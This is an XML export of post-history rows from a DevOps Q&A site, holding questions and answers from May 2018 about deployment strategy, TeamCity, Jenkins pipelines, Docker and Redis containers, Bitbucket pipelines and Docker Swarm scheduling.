  <row Id="12787" PostHistoryTypeId="5" PostId="4082" RevisionGUID="4f205dd3-ad65-41fd-9567-dd22e640be60" CreationDate="2018-05-10T21:24:18.747" UserId="7791" Comment="improved name" Text="I'm currently working on a new major version (v2) of an application meant to replace the current production version (v1). This redesign carries with it changes to the front-end, public API layer, internal API layer, and database — the whole kit and kaboodle.&#xD;&#xA;&#xD;&#xA;While it is easy to have active v1 and v2 front-ends and public API (which I'll call the &quot;front half&quot; for brevity's sake) simultaneously in our lower environments, for various reason, this is NOT possible for us to do with the internal API and database (which I'll call the &quot;back half&quot;).&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;The v2 redesign necessitates changes to the back half that cause breakage in the v1 front half. However, in this particular instance, by making a minor change in the v1 front half, this breakage can be avoided. As such, it is possible for us to deploy this v1 &quot;shim&quot; along with the changes to the back half to production. When the time comes, we will be able to cut over to the v2 front half without the back half needing any further deployments.&#xD;&#xA;&#xD;&#xA;Is there a name for this particular type of deployment, where a shim is deployed to an existing app to make it work with an updated back end, with the goal of making a future cutover seamless?&#xD;&#xA;&#xD;&#xA;Taking my definition of blue/green deployment from [this informative blog post][2], I do not believe this is a distinctly separate kind of deployment.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/u5DLs.png&#xD;&#xA;  [2]: https://minops.com/blog/2015/02/the-dos-and-donts-of-bluegreen-deployment/" ContentLicense="CC BY-SA 4.0" />
  <row Id="12788" PostHistoryTypeId="4" PostId="4082" RevisionGUID="4f205dd3-ad65-41fd-9567-dd22e640be60" CreationDate="2018-05-10T21:24:18.747" UserId="7791" Comment="improved name" Text="What is the term for a deployment designed to make a future cutover seamless (not blue/green)?" ContentLicense="CC BY-SA 4.0" />
  <row Id="12789" PostHistoryTypeId="2" PostId="4084" RevisionGUID="efdbb8d8-b44c-408e-85bc-cd63ff540b34" CreationDate="2018-05-10T21:34:28.827" UserId="4175" Text="&quot;Compatibility layer&quot; sounds good to me." ContentLicense="CC BY-SA 4.0" />
  <row Id="12790" PostHistoryTypeId="5" PostId="4082" RevisionGUID="bb8505ee-d161-46d2-9789-60af2cdf92c4" CreationDate="2018-05-11T02:00:54.523" UserId="7791" Comment="deleted 7 characters in body" Text="I'm currently working on a new major version (v2) of an application meant to replace the current production version (v1). This redesign carries with it changes to the front-end, public API layer, internal API layer, and database — the whole kit and kaboodle.&#xD;&#xA;&#xD;&#xA;While it is easy to have active v1 and v2 front-ends and public API (which I'll call the &quot;front half&quot; for brevity's sake) simultaneously in our lower environments, for various reason, this is NOT possible for us to do with the internal API and database (which I'll call the &quot;back half&quot;).&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;The v2 redesign necessitates changes to the back half that cause breakage in the v1 front half. However, in this particular instance, by making a minor change in the v1 front half, this breakage can be avoided. As such, it is possible for us to deploy this v1 &quot;shim&quot; along with the changes to the back half to production. When the time comes, we will be able to cut over to the v2 front half without the back half needing any further deployments.&#xD;&#xA;&#xD;&#xA;Is there a name for this particular type of deployment, where a shim is deployed to an existing app to make it work with an updated back end, with the goal of making a future cutover seamless?&#xD;&#xA;&#xD;&#xA;Taking my definition of blue/green deployment from [this informative blog post][2], I believe this is a distinctly separate kind of deployment.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/u5DLs.png&#xD;&#xA;  [2]: https://minops.com/blog/2015/02/the-dos-and-donts-of-bluegreen-deployment/" ContentLicense="CC BY-SA 4.0" />
  <row Id="12791" PostHistoryTypeId="2" PostId="4085" RevisionGUID="6ac5fe38-66c8-4fbc-886b-231a7aa0a38f" CreationDate="2018-05-11T08:54:15.683" UserId="7419" Text=" Google just announced this [Jenkins plugin for GCE][1] , which does support autoscaling.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://plugins.jenkins.io/google-compute-engine" ContentLicense="CC BY-SA 4.0" />
  <row Id="12795" PostHistoryTypeId="2" PostId="4087" RevisionGUID="1402e012-8d59-4b96-a2d4-6a6e273f597f" CreationDate="2018-05-11T10:39:46.620" UserId="786" Text="Not impossible, very easy in fact with [read-only routing](https://docs.microsoft.com/en-us/sql/database-engine/availability-groups/windows/configure-read-only-routing-for-an-availability-group-sql-server?view=sql-server-2017). You can have up to 9 replicas in an availability group. With modern hardware and storage, that goes a long way to being “scalable” - 10’s of thousands of concurrent connections easily." ContentLicense="CC BY-SA 4.0" />
  <row Id="12799" PostHistoryTypeId="5" PostId="4087" RevisionGUID="b677ff7d-110e-4ca3-91a8-1e9b8eaae352" CreationDate="2018-05-11T10:46:31.940" UserId="786" Comment="added 70 characters in body" Text="Not impossible, very easy in fact with [read-only routing](https://docs.microsoft.com/en-us/sql/database-engine/availability-groups/windows/configure-read-only-routing-for-an-availability-group-sql-server?view=sql-server-2017). Clients intending to be read-only specify it in their connect string. You can have up to 9 replicas in an availability group. With modern hardware and storage, that goes a long way to being “scalable” - 10’s of thousands of concurrent connections easily." ContentLicense="CC BY-SA 4.0" />
  <row Id="12800" PostHistoryTypeId="5" PostId="4087" RevisionGUID="25c2112a-c6e8-4e55-8136-bae09c89afa0" CreationDate="2018-05-11T10:56:11.317" UserId="786" Comment="added 51 characters in body" Text="Not impossible, very easy in fact with [read-only routing](https://docs.microsoft.com/en-us/sql/database-engine/availability-groups/windows/configure-read-only-routing-for-an-availability-group-sql-server?view=sql-server-2017). Clients intending to be read-only specify it in their connect string, so this is per-session rather than per-statement.  You can have up to 9 replicas in an availability group. With modern hardware and storage, that goes a long way to being “scalable” - 10’s of thousands of concurrent connections easily." ContentLicense="CC BY-SA 4.0" />
  <row Id="12801" PostHistoryTypeId="2" PostId="4089" RevisionGUID="1f06c98b-729a-4856-b6be-cd8c05b2fd3d" CreationDate="2018-05-11T11:26:17.647" UserId="7803" Text="I have teamcity on Windows machine.&#xD;&#xA;When install it, I selected 8080 port.&#xD;&#xA;I have another application on 80 and 443 ports.&#xD;&#xA;It worked fine, but now I see error https://s.mail.ru/6zFj/5jULkdV3L &#xD;&#xA;But if I open localhost:8080 on virtual machine - all work well.&#xD;&#xA;&#xD;&#xA;1. What happends? May be you know :(&#xD;&#xA;2. How I can change port or change working to &quot;without ssl&quot;?&#xD;&#xA;3. How I can move all my projects to another teamcity?&#xD;&#xA;&#xD;&#xA;Thanks!" ContentLicense="CC BY-SA 4.0" />
  <row Id="12802" PostHistoryTypeId="1" PostId="4089" RevisionGUID="1f06c98b-729a-4856-b6be-cd8c05b2fd3d" CreationDate="2018-05-11T11:26:17.647" UserId="7803" Text="Teamcity web-interface not work" ContentLicense="CC BY-SA 4.0" />
  <row Id="12803" PostHistoryTypeId="3" PostId="4089" RevisionGUID="1f06c98b-729a-4856-b6be-cd8c05b2fd3d" CreationDate="2018-05-11T11:26:17.647" UserId="7803" Text="&lt;windows&gt;&lt;teamcity&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12804" PostHistoryTypeId="5" PostId="4089" RevisionGUID="7c2cd2d3-faaa-4fa5-8310-a35c676171e0" CreationDate="2018-05-11T12:03:46.767" UserId="1180" Comment="grammar corrections, image inlined" Text="I have Teamcity on Windows machine.  &#xD;&#xA;When installed it, I selected the 8080 port.  &#xD;&#xA;I have another application on the 80 and 443 ports.  &#xD;&#xA;It worked fine, but now I see an error:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;But if I open `localhost:8080` on a virtual machine - all works well.&#xD;&#xA;&#xD;&#xA;1. What happened? Maybe you know :(&#xD;&#xA;2. How I can change port or change working to &quot;without SSL&quot;?&#xD;&#xA;3. How I can move all my projects to another Teamcity?&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/mAsNB.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="12805" PostHistoryTypeId="4" PostId="4089" RevisionGUID="7c2cd2d3-faaa-4fa5-8310-a35c676171e0" CreationDate="2018-05-11T12:03:46.767" UserId="1180" Comment="grammar corrections, image inlined" Text="Teamcity web-interface does not work" ContentLicense="CC BY-SA 4.0" />
  <row Id="12806" PostHistoryTypeId="24" PostId="4089" RevisionGUID="7c2cd2d3-faaa-4fa5-8310-a35c676171e0" CreationDate="2018-05-11T12:03:46.767" Comment="Proposed by 1180 approved by 13 edit id of 691" ContentLicense="CC BY-SA 4.0" />
  <row Id="12807" PostHistoryTypeId="2" PostId="4090" RevisionGUID="de78f386-6b53-4038-a23a-e1ef910436e7" CreationDate="2018-05-11T12:49:40.513" UserId="7730" Text="For `docker-compose`, you can use either the environment or a `.env` file. For swarm mode, you can only use the environment. So for portability, I like to export variables into the shell or environment of the command being run. &#xD;&#xA;&#xD;&#xA;From a bash shell, this would look like:&#xD;&#xA;&#xD;&#xA;    $ export tomcat_home=/usr/local/tomcat&#xD;&#xA;    $ docker-compose up&#xD;&#xA;&#xD;&#xA;Depending on what you use to deploy your containers (shell script, custom code, some other CI/CD tool), exporting your environment variable will vary." ContentLicense="CC BY-SA 4.0" />
  <row Id="12808" PostHistoryTypeId="5" PostId="3073" RevisionGUID="743a591b-3e23-473d-97b1-9856d566181c" CreationDate="2018-05-11T14:30:03.140" UserId="4760" Comment="Grammer and updating the statement to be a question." Text="Currently, I'm going to need an implementation that must find all files within a directory and start a parallel task for every file found.&#xD;&#xA;&#xD;&#xA;Is it possible to achieve this using declarative pipelines?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent any&#xD;&#xA;        stages {&#xD;&#xA;            stage(&quot;test&quot;) {&#xD;&#xA;                steps {&#xD;&#xA;                    dir (&quot;file_path&quot;) {&#xD;&#xA;                        // find all files with complete path&#xD;&#xA;                        parallel (&#xD;&#xA;                            // execute parallel tasks for each file found.&#xD;&#xA;                            // this must be dynamic&#xD;&#xA;                            }&#xD;&#xA;                        }&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12809" PostHistoryTypeId="4" PostId="3073" RevisionGUID="743a591b-3e23-473d-97b1-9856d566181c" CreationDate="2018-05-11T14:30:03.140" UserId="4760" Comment="Grammer and updating the statement to be a question." Text="How to properly achieve dynamic parallel action with a declarative pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="12810" PostHistoryTypeId="24" PostId="3073" RevisionGUID="743a591b-3e23-473d-97b1-9856d566181c" CreationDate="2018-05-11T14:30:03.140" Comment="Proposed by 4760 approved by -1 edit id of 692" ContentLicense="CC BY-SA 4.0" />
  <row Id="12811" PostHistoryTypeId="4" PostId="3073" RevisionGUID="b0737b49-6492-4009-ab87-e0240a12c47a" CreationDate="2018-05-11T14:30:03.140" UserId="40" Comment="edited title" Text="How to properly achieve dynamic parallel action with a declarative pipeline?" ContentLicense="CC BY-SA 4.0" />
  <row Id="12817" PostHistoryTypeId="50" PostId="3602" RevisionGUID="56cca852-d411-4f42-93ba-497db1b8db2c" CreationDate="2018-05-12T17:12:45.113" UserId="-1" />
  <row Id="12818" PostHistoryTypeId="50" PostId="3542" RevisionGUID="fe9eb98e-577c-4eb9-bbf5-de76fd20a2e4" CreationDate="2018-05-12T20:13:31.603" UserId="-1" />
  <row Id="12823" PostHistoryTypeId="50" PostId="3856" RevisionGUID="b9e1c21d-113c-4b74-8895-274151ad0549" CreationDate="2018-05-13T04:13:37.990" UserId="-1" />
  <row Id="12824" PostHistoryTypeId="50" PostId="3872" RevisionGUID="5f9ac660-43b3-45cb-8e54-62b1da370fa1" CreationDate="2018-05-13T05:13:37.957" UserId="-1" />
  <row Id="12825" PostHistoryTypeId="2" PostId="4092" RevisionGUID="f616b859-1b10-44fd-98d0-476bda82ea20" CreationDate="2018-05-13T08:39:19.707" UserId="7821" Text="I am not sure about the best way to deploy my program.   &#xD;&#xA;Lets assume i have two relevant branches release(tested and ready to deploy code) and master.   &#xD;&#xA;I have two options&#xD;&#xA;&#xD;&#xA;1.Merge the release to master and deploy master to production.   &#xD;&#xA;2.Deploy release to production and then merge to master.&#xD;&#xA;&#xD;&#xA;Which strategy you use and why." ContentLicense="CC BY-SA 4.0" />
  <row Id="12826" PostHistoryTypeId="1" PostId="4092" RevisionGUID="f616b859-1b10-44fd-98d0-476bda82ea20" CreationDate="2018-05-13T08:39:19.707" UserId="7821" Text="Pros and cons of different deploy strategies" ContentLicense="CC BY-SA 4.0" />
  <row Id="12827" PostHistoryTypeId="3" PostId="4092" RevisionGUID="f616b859-1b10-44fd-98d0-476bda82ea20" CreationDate="2018-05-13T08:39:19.707" UserId="7821" Text="&lt;continuous-integration&gt;&lt;deployment&gt;&lt;git&gt;&lt;continuous-deployment&gt;&lt;workflow&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12829" PostHistoryTypeId="2" PostId="4093" RevisionGUID="e28903f4-277d-477e-a2d1-fd8acdceae7b" CreationDate="2018-05-13T11:21:57.957" UserId="7741" Text="The answer is appearently that there's a bug in Minikube 0.26. Downgrading the Minikube installation is solving it." ContentLicense="CC BY-SA 4.0" />
  <row Id="12830" PostHistoryTypeId="2" PostId="4094" RevisionGUID="b50755a4-39f9-4029-8027-5a457e753392" CreationDate="2018-05-13T11:34:08.097" UserId="7826" Text="###Specifications&#xD;&#xA;***&#xD;&#xA;&#xD;&#xA;    Microsoft Windows [Version 10.0.14393]&#xD;&#xA;    VirtualBox 5.2.8&#xD;&#xA;    Alpine Linux Extended 3.7.0&#xD;&#xA;&#xD;&#xA;###Docker Info&#xD;&#xA;***&#xD;&#xA;&#xD;&#xA;    Containers: 0&#xD;&#xA;     Running: 0&#xD;&#xA;     Paused: 0&#xD;&#xA;     Stopped: 0&#xD;&#xA;    Images: 1&#xD;&#xA;    Server Version: 17.10.0-ce&#xD;&#xA;    Storage Driver: overlay2&#xD;&#xA;     Backing Filesystem: extfs&#xD;&#xA;     Supports d_type: true&#xD;&#xA;     Native Overlay Diff: true&#xD;&#xA;    Logging Driver: json-file&#xD;&#xA;    Cgroup Driver: cgroupfs&#xD;&#xA;    Plugins:&#xD;&#xA;     Volume: local&#xD;&#xA;     Network: bridge host macvlan null overlay&#xD;&#xA;     Log: awslogs fluentd gcplogs gelf journald json-file logentries splunk syslog&#xD;&#xA;    Swarm: inactive&#xD;&#xA;    Runtimes: runc&#xD;&#xA;    Default Runtime: runc&#xD;&#xA;    Init Binary: docker-init&#xD;&#xA;    containerd version: 06b9cb35161009dcb7123345749fef02f7cea8e0&#xD;&#xA;    runc version: 0351df1c5a66838d0c392b4ac4cf9450de844e2d&#xD;&#xA;    init version: 949e6facb77383876aeff8a6944dde66b3089574&#xD;&#xA;    Kernel Version: 4.9.65-1-hardened&#xD;&#xA;    Operating System: Alpine Linux v3.7&#xD;&#xA;    OSType: linux&#xD;&#xA;    Architecture: x86_64&#xD;&#xA;    CPUs: 1&#xD;&#xA;    Total Memory: 1.953GiB&#xD;&#xA;    Name: node-4&#xD;&#xA;    ID: 3AVF:5SGV:6Y3P:HQW4:PTSU:BRA7:R3PL:AW4F:CIFW:BYDY:FY5P:O6GX&#xD;&#xA;    Docker Root Dir: /var/lib/docker&#xD;&#xA;    Debug Mode (client): false&#xD;&#xA;    Debug Mode (server): false&#xD;&#xA;    Registry: https://index.docker.io/v1/&#xD;&#xA;    Experimental: false&#xD;&#xA;    Insecure Registries:&#xD;&#xA;     127.0.0.0/8&#xD;&#xA;    Live Restore Enabled: false&#xD;&#xA;    &#xD;&#xA;    WARNING: No swap limit support&#xD;&#xA;&#xD;&#xA;###Issue Description&lt;hr/&gt;&#xD;&#xA;&#xD;&#xA;I'm trying to run the `bitname-redis-docker` image on my `Alpine Linux` setup on VirtualBox.&#xD;&#xA;&#xD;&#xA;    docker run --name redis -e ALLOW_EMPTY_PASSWORD=yes bitnami/redis:latest&#xD;&#xA;&#xD;&#xA;The container never starts. Inspecting the log it says&#xD;&#xA;&#xD;&#xA;    Welcome to the Bitnami redis container&#xD;&#xA;    Subscribe to project updates by watching https://github.com/bitnami/bitnami-docker-redis&#xD;&#xA;    Submit issues and feature requests at https://github.com/bitnami/bitnami-docker-redis/issues&#xD;&#xA;    Send us your feedback at containers@bitnami.com&#xD;&#xA;    &#xD;&#xA;    PROT_EXEC|PROT_WRITE failed.&#xD;&#xA;    INFO  ==&gt; Starting redis...&#xD;&#xA;    sed: can't read /opt/bitnami/redis/conf/redis.conf: No such file or directory&#xD;&#xA;    14:C 26 Apr 19:38:43.389 # Fatal error, can't open config file '/opt/bitnami/redis/conf/redis.conf'&#xD;&#xA;&#xD;&#xA;To further investigate I ran an `strace` and here is the log output [link][1].&#xD;&#xA;&#xD;&#xA;Can someone tell me what's going on here? Am I doing something wrong?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://pastebin.com/raw/CHr9ZHYJ&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12831" PostHistoryTypeId="1" PostId="4094" RevisionGUID="b50755a4-39f9-4029-8027-5a457e753392" CreationDate="2018-05-13T11:34:08.097" UserId="7826" Text="Error while trying to run docker redis image on Alpine Linux 3.7.0" ContentLicense="CC BY-SA 4.0" />
  <row Id="12832" PostHistoryTypeId="3" PostId="4094" RevisionGUID="b50755a4-39f9-4029-8027-5a457e753392" CreationDate="2018-05-13T11:34:08.097" UserId="7826" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;docker-swarm&gt;&lt;alpine&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12836" PostHistoryTypeId="2" PostId="4096" RevisionGUID="ceca2196-805f-408d-894b-164f502ee174" CreationDate="2018-05-13T12:59:17.150" UserId="7827" Text="Try running with `-d detached` flag&#xD;&#xA;&#xD;&#xA;```docker run -td -p 3000:3000 -p 6379:6379 -p 8983:8983 my_dockerhub/image&#xD;&#xA; #       here ^&#xD;&#xA;``` &#xD;&#xA;Containers started in detached mode exit when the root process used to run the container exits. This will prevent the step to freeze at `docker run` stage.&#xD;&#xA;&#xD;&#xA;[Docker docs -d flag][1]&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/reference/run/#detached--d" ContentLicense="CC BY-SA 4.0" />
  <row Id="12837" PostHistoryTypeId="2" PostId="4097" RevisionGUID="1f20b2c7-66ec-4689-93ab-7d455cd44358" CreationDate="2018-05-13T14:41:04.623" UserId="210" Text="One could also use a docker image from an official docker repository like https://hub.docker.com/r/library/redis/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    docker run --name some-redis -d redis:alpine&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12838" PostHistoryTypeId="50" PostId="2891" RevisionGUID="ddaab598-7ec4-4f28-b68b-aee15a6829ac" CreationDate="2018-05-13T16:14:30.503" UserId="-1" />
  <row Id="12839" PostHistoryTypeId="5" PostId="3876" RevisionGUID="ac46dd60-b502-4750-b4bf-0e1bfac9dfcf" CreationDate="2018-05-13T19:36:05.710" UserId="4553" Comment="fix typo" Text="I'd like to test an application using bitbucket pipelines with a custom docker image running some services. I have a dev docker image which runs all the services I need in order for tests to pass.&#xD;&#xA;&#xD;&#xA;    docker run -it -p 3000:3000 -p 6379:6379 -p 8983:8983 my_dockerhub/image&#xD;&#xA;    ./start_services.sh&#xD;&#xA;    bundle exec rspec&#xD;&#xA;    # everything passes&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I can't seem to find a way to start the container with the right ports bound so the tests to pass. &#xD;&#xA;&#xD;&#xA;1. I tried using the container directly using this in my bitbucket-pipelines.yml:&#xD;&#xA;&#xD;&#xA;        image: &#xD;&#xA;          name: my_dockerhub/image&#xD;&#xA;          username: $DOCKER_HUB_USERNAME&#xD;&#xA;          password: $DOCKER_HUB_PASSWORD&#xD;&#xA;          email: $DOCKER_HUB_EMAIL&#xD;&#xA;          # bind ports here somehow?&#xD;&#xA;&#xD;&#xA;        pipelines:&#xD;&#xA;          branches:&#xD;&#xA;            '{master, develop, bitbucket_pipelines}':&#xD;&#xA;              - step:&#xD;&#xA;                  name: Test&#xD;&#xA;                  script:&#xD;&#xA;                    - ./start_services.sh&#xD;&#xA;                    - sleep 30&#xD;&#xA;                    - bundle exec rspec&#xD;&#xA;&#xD;&#xA;    But I get the following error at the ```bundle exec rspec``` step&#xD;&#xA;&#xD;&#xA;        # Errno::ECONNREFUSED:&#xD;&#xA;        #   Connection refused - connect(2) for &quot;127.0.0.1&quot; port 8983&#xD;&#xA;&#xD;&#xA;1. I tried running the docker container directly within the bitbucket pipeline&#xD;&#xA;&#xD;&#xA;        pipelines:&#xD;&#xA;          branches:&#xD;&#xA;            '{master, develop, bitbucket_pipelines}':&#xD;&#xA;              - step:&#xD;&#xA;                  name: Start Docker&#xD;&#xA;                  script:&#xD;&#xA;                    - docker login -u $DOCKER_HUB_USERNAME -p $DOCKER_HUB_PASSWORD&#xD;&#xA;                    - docker run -t -p 3000:3000 -p 6379:6379 -p 8983:8983  my_dockerhub/image&#xD;&#xA;                    - ./script/start_services.sh&#xD;&#xA;                    - sleep 20&#xD;&#xA;                    - bundle exec rspec&#xD;&#xA;&#xD;&#xA;    But the step froze at the ```docker run``` step.&#xD;&#xA;    I assume this is because I used the -t flag so the command doesn't exit. I was thinking I could possibly use ```docker exec``` to send commands to the container without running it  but then how would I check the tests have passed?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12840" PostHistoryTypeId="50" PostId="1654" RevisionGUID="12892dab-2477-4da4-815d-9ce165ba15e4" CreationDate="2018-05-14T02:14:30.183" UserId="-1" />
  <row Id="12842" PostHistoryTypeId="2" PostId="4098" RevisionGUID="d7f2970d-ee1c-4ac5-be22-69720fb8b966" CreationDate="2018-05-14T10:10:55.607" UserId="7803" Text="Thaks for all answers. &#xD;&#xA;Teamcity began to work correctly when I installed all windows updates to my Windows Server 2012 R2. &#xD;&#xA;Maybe it depended with last Microsoft security update." ContentLicense="CC BY-SA 4.0" />
  <row Id="12844" PostHistoryTypeId="2" PostId="4100" RevisionGUID="97f423a9-8d85-44f3-a39d-3113e60df507" CreationDate="2018-05-14T17:52:32.720" UserDisplayName="user7835" Text="I have four side projects which are my hobby (NOT A JOB! NOT A WORK!).&#xD;&#xA;&#xD;&#xA;I work on that at night, when I have time and when I want to.&#xD;&#xA;&#xD;&#xA;All projects are javascript backend and frontend. Just experiments.&#xD;&#xA;&#xD;&#xA;What I need is a Jenkins instance (or something like that for CI (continuous integration) and maybe also CD (continuous delivery)) but **free**. Maybe like free heroku dyno which is amazing: I don't work everyday on it, I work sometimes, when I have time and, like my free dyno on Heroku it's amazing the auto-sleep and go on just when I need it.&#xD;&#xA;&#xD;&#xA;Is there something for Jenkins out there but free, with auto-sleep?&#xD;&#xA;&#xD;&#xA;**Jenkins on Heroku** is still an option given the ephemeral state of dyno on Heroku? Is Jenkins still saving config on filesystem?&#xD;&#xA;&#xD;&#xA;I can't afford to pay something for that because it's just an experiment.&#xD;&#xA;&#xD;&#xA;Any idea?" ContentLicense="CC BY-SA 4.0" />
  <row Id="12845" PostHistoryTypeId="1" PostId="4100" RevisionGUID="97f423a9-8d85-44f3-a39d-3113e60df507" CreationDate="2018-05-14T17:52:32.720" UserDisplayName="user7835" Text="CI/CD free for hobby side projects. Jenkins on Heroku as alternative, with ephemeral dyno" ContentLicense="CC BY-SA 4.0" />
  <row Id="12846" PostHistoryTypeId="3" PostId="4100" RevisionGUID="97f423a9-8d85-44f3-a39d-3113e60df507" CreationDate="2018-05-14T17:52:32.720" UserDisplayName="user7835" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;continuous-deployment&gt;&lt;continuous-delivery&gt;&lt;travis-ci&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12847" PostHistoryTypeId="2" PostId="4101" RevisionGUID="f11b5e64-0c6d-4332-829f-1b2dcec1f1ab" CreationDate="2018-05-15T01:34:09.503" UserId="7837" Text="I have a server running on localhost:3440 on the host machine.&#xD;&#xA;In a Dockerfile I have:&#xD;&#xA;&#xD;&#xA;    RUN apt-get install -y netcat&#xD;&#xA;    RUN nc localhost 3440 | tar -x -O &gt; ores-$(date +%s.%N).tgz&#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;I've read that using `--net=&quot;host&quot;` with `docker run` will allow a *running container* to connect to a server running on the host. But my question is - when *building an image*, how can I connect to a server on localhost?&#xD;&#xA;&#xD;&#xA;The error I get is simply:&#xD;&#xA;&#xD;&#xA;&gt; localhost [127.0.0.1] 3440 (?) : Connection refused&#xD;&#xA;&#xD;&#xA;anyone know what I might be doing wrong?&#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="12848" PostHistoryTypeId="1" PostId="4101" RevisionGUID="f11b5e64-0c6d-4332-829f-1b2dcec1f1ab" CreationDate="2018-05-15T01:34:09.503" UserId="7837" Text="Cannot connect to server running on host from inside Docker container" ContentLicense="CC BY-SA 4.0" />
  <row Id="12849" PostHistoryTypeId="3" PostId="4101" RevisionGUID="f11b5e64-0c6d-4332-829f-1b2dcec1f1ab" CreationDate="2018-05-15T01:34:09.503" UserId="7837" Text="&lt;docker&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12850" PostHistoryTypeId="4" PostId="4101" RevisionGUID="d6446559-1850-46bd-8036-e80285d2363a" CreationDate="2018-05-15T01:39:35.970" UserId="7837" Comment="edited title" Text="Cannot connect to server running on host from Dockerfile / image build" ContentLicense="CC BY-SA 4.0" />
  <row Id="12852" PostHistoryTypeId="2" PostId="4103" RevisionGUID="f468cc2a-1f90-4bb4-98ff-f4585c3dedc7" CreationDate="2018-05-15T09:25:03.180" UserId="7842" Text="First you have to start netcat listening in the background.&#xD;&#xA;$ netcat -l 3440 &amp;&#xD;&#xA;&#xD;&#xA;Then build your Dockerfile.&#xD;&#xA;&#xD;&#xA;    #&#xD;&#xA;    # Ubuntu Dockerfile&#xD;&#xA;    #&#xD;&#xA;    # https://github.com/dockerfile/ubuntu&#xD;&#xA;    #&#xD;&#xA;    &#xD;&#xA;    # Pull base image.&#xD;&#xA;    FROM ubuntu:14.04&#xD;&#xA;    &#xD;&#xA;    # Install.&#xD;&#xA;    RUN \&#xD;&#xA;      sed -i 's/# \(.*multiverse$\)/\1/g' /etc/apt/sources.list &amp;&amp; \&#xD;&#xA;      apt-get update &amp;&amp; \&#xD;&#xA;      apt-get -y upgrade &amp;&amp; \&#xD;&#xA;      apt-get install -y build-essential &amp;&amp; \&#xD;&#xA;      apt-get install -y software-properties-common &amp;&amp; \&#xD;&#xA;      apt-get install -y byobu curl git htop man unzip vim wget &amp;&amp; \&#xD;&#xA;      rm -rf /var/lib/apt/lists/*&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # Set environment variables.&#xD;&#xA;    ENV HOME /root&#xD;&#xA;    &#xD;&#xA;    # Define working directory.&#xD;&#xA;    WORKDIR /root&#xD;&#xA;    RUN apt-get install -y netcat&#xD;&#xA;    RUN nc localhost 3440 | tar -x -O &gt; ores-$(date +%s.%N).tgz&#xD;&#xA;    # Define default command.&#xD;&#xA;    CMD [&quot;bash&quot;]&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12855" PostHistoryTypeId="2" PostId="4104" RevisionGUID="a117cabb-2527-4c8b-a3e5-7ce115b10bec" CreationDate="2018-05-15T10:47:53.157" UserId="7843" Text="We have a 6 node docker swarm running and we often see bad scheduling (clean inbalance) happening.&#xD;&#xA;&#xD;&#xA;I've researched this subject, and it seems docker swarm as standalone used to allow a way to choose different strategies to its scheduler, but since swarm was integrated into docker it only supports the spread strategy. In our case, since we are very memory intensive, we would benefit from only considering memory and not CPU/#containers as a metric.&#xD;&#xA;&#xD;&#xA;How could we achieve this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="12856" PostHistoryTypeId="1" PostId="4104" RevisionGUID="a117cabb-2527-4c8b-a3e5-7ce115b10bec" CreationDate="2018-05-15T10:47:53.157" UserId="7843" Text="Docker swarm custom scheduler" ContentLicense="CC BY-SA 4.0" />
  <row Id="12857" PostHistoryTypeId="3" PostId="4104" RevisionGUID="a117cabb-2527-4c8b-a3e5-7ce115b10bec" CreationDate="2018-05-15T10:47:53.157" UserId="7843" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12858" PostHistoryTypeId="2" PostId="4105" RevisionGUID="1c7d809c-d9fb-4b50-9c7d-7b39c5169914" CreationDate="2018-05-15T12:39:45.530" UserId="7730" Text="The scheduler itself is not swappable. However, you can set [memory constraints and reservations on containers in your service](https://docs.docker.com/compose/compose-file/#resources):&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;    services:&#xD;&#xA;      redis:&#xD;&#xA;        image: redis:alpine&#xD;&#xA;        deploy:&#xD;&#xA;          resources:&#xD;&#xA;            limits:&#xD;&#xA;              cpus: '0.50'&#xD;&#xA;              memory: 50M&#xD;&#xA;            reservations:&#xD;&#xA;              cpus: '0.25'&#xD;&#xA;              memory: 20M&#xD;&#xA;&#xD;&#xA;The constraint will kill the container if it exceeds the limit even if the host has more memory available. The reservation will ensure that amount of memory on the host is available for the container." ContentLicense="CC BY-SA 4.0" />
  <row Id="12859" PostHistoryTypeId="50" PostId="2341" RevisionGUID="856b1cda-ae68-418a-83ec-420ec10dade2" CreationDate="2018-05-15T18:18:29.230" UserId="-1" />
